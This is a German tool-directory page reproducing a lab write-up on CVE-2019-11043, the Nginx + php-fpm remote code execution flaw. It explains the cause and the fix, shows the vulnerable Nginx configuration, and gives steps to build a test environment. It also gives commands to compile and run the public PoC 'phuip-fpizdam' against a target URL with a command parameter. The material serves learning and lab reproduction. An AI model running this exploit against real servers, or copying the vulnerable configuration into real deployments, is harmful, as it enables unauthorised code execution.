Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2019-11043 — CVE-2019-11043 PHP Remote-Codeausführung | Kitploit
Tools/GitHubGitHub/shadow-horse/cve-2019-11043
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubshadow-horse/cve-2019-11043

cve-2019-11043

CVE-2019-11043 PHP Remote-Codeausführung

Repository anzeigen
11vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PHP Remote-Code-Ausführung-Schwachstelle (CVE-2019-11043)

1. Hintergrund

Am 26. September veröffentlichte PHP eine Sicherheitswarnung, in der darauf hingewiesen wurde, dass Server mit Nginx + php-fpm unter bestimmten Konfigurationen eine Schwachstelle zur Remote-Code-Ausführung aufweisen. Diese Konfiguration ist weit verbreitet und stellt eine erhebliche Gefahr dar.

Der Proof-of-Concept (PoC) für die Schwachstelle wurde am 22. Oktober veröffentlicht, und die heimischen Sicherheitsmedien gaben rechtzeitig eine Warnung heraus.

2. Beschreibung der Schwachstelle

Wenn fastcgi_split_path_info in Nginx Anfragen mit %0a verarbeitet, führt das Zeilenumbruchzeichen \n dazu, dass PATH_INFO leer wird. In php-fpm gibt es einen logischen Fehler bei der Verarbeitung eines leeren PATH_INFO. Durch geschickte Konstruktion und Ausnutzung kann ein Angreifer Remote-Code-Ausführung erreichen.

Bei Servern mit Nginx + php-fpm kann die folgende Konfiguration zu einer Remote-Code-Ausführung-Schwachstelle führen:

root@kitploit:~
 location ~ [^/]\.php(/|$) {

    fastcgi_split_path_info ^(.+?\.php)(/.*)$;

    fastcgi_param PATH_INFO       $fastcgi_path_info;

    fastcgi_pass   php:9000;

    ...
}

3. Lösung

Entfernen Sie die folgenden Konfigurationen aus der Nginx-Konfigurationsdatei, sofern dies den normalen Betrieb nicht beeinträchtigt:

root@kitploit:~
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

4. Öffentlicher PoC auf GitHub

github: https://github.com/neex/phuip-fpizdam

Dieser PoC nutzt eine Optimierung in der FastCGI-Variable _fcgi_data_seg, die nur in PHP7 vorhanden ist. Daher funktioniert der veröffentlichte Exploit nur unter PHP7. Für PHP5 ist ein separater Exploit erforderlich.

5. Reproduktion der Schwachstelle

1. Konfiguration von NGINX+PHP-FPM (php7)

Konfigurieren Sie die Umgebung, richten Sie nginx + php-fpm ein und bestätigen Sie, dass der Dienst funktioniert.

  1. Laden Sie php7 herunter, entpacken Sie es und wechseln Sie in das Verzeichnis:

    root@kitploit:~
     wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
     tar -xzvf php-7.2.4.tar.gz
    
  2. Installieren Sie die erforderlichen Abhängigkeiten wie Komprimierung und SSL:

    root@kitploit:~
     yum install -y libxml2*
     yum install -y openssl*
     yum install -y libcurl*
     yum install -y libjpeg*
     yum install -y libpng*
     yum install -y freetype*
     yum install -y libmcrypt*
    
  3. Konfigurieren und kompilieren Sie den Quellcode:

    root@kitploit:~
     ./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
    
     make & make install
    
  4. Konfigurieren Sie php-fpm. Wenn mehrere PHP-Instanzen konfiguriert werden, kann der Port von 9000 auf 9001 geändert werden.

    root@kitploit:~
     Änderung der php-fpm-Konfigurationsdatei:
     $ cd /usr/local/php/etc
     $ cp php-fpm.conf.default php-fpm.conf
     $ vi php-fpm.conf
     Entfernen Sie das Semikolon vor pid = run/php-fpm.pid
     $ cd php-fpm.d
     $ cp www.conf.default www.conf  (Port ändern)
     $ vi www.conf
     Ändern Sie Benutzer und Gruppe auf einen Nicht-Root-Benutzer.
    

2. Konfiguration der anfälligen PHP-Parsing

Fügen Sie in nginx.conf die folgende Konfiguration hinzu:

root@kitploit:~
location ~ [^/]\.php(/|$) {
        root /opt/apache/www;
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO  $fastcgi_path_info;
        fastcgi_pass   127.0.0.1:9001;
        include     fastcgi_params;
     }

Starten Sie nginx neu.

  1. Installieren Sie Go und kompilieren Sie den PoC-Code:

    root@kitploit:~
     go get github.com/neex/phuip-fpizdam(Die Datei wird im Go-Verzeichnis src heruntergeladen)
    
     go build github.com/neex/phuip-fpizdam(vollständiger Pfad, erzeugt die ausführbare Datei im aktuellen Verzeichnis)
    
  2. Führen Sie den PoC aus:

    root@kitploit:~
     ./phuip-fpizdam http://website.com/index.php
     ./phuip-fpizdam http://website.com/index.php?a=command
     
    

[Leider war die Konfiguration der Umgebung aus unbekannten Gründen fehlerhaft, die Verifikation schlug fehl.]

root@kitploit:~
	2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong

4. Docker-Integrationsumgebung zur Verifikation

Original-Link: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

  1. Laden Sie die Docker-Projektdateien herunter.

  2. Führen Sie docker-compose up -d aus, um den Docker-Container zu starten.

  3. Führen Sie das Programm aus. Die erfolgreiche Ausführung wird angezeigt. Nutzen Sie die Schwachstelle, um den Befehl "id" auszugeben.

  4. Stoppen Sie den Docker-Dienst. docker ps
    docker stop id

Tool herunterladen
  • ./php-fpm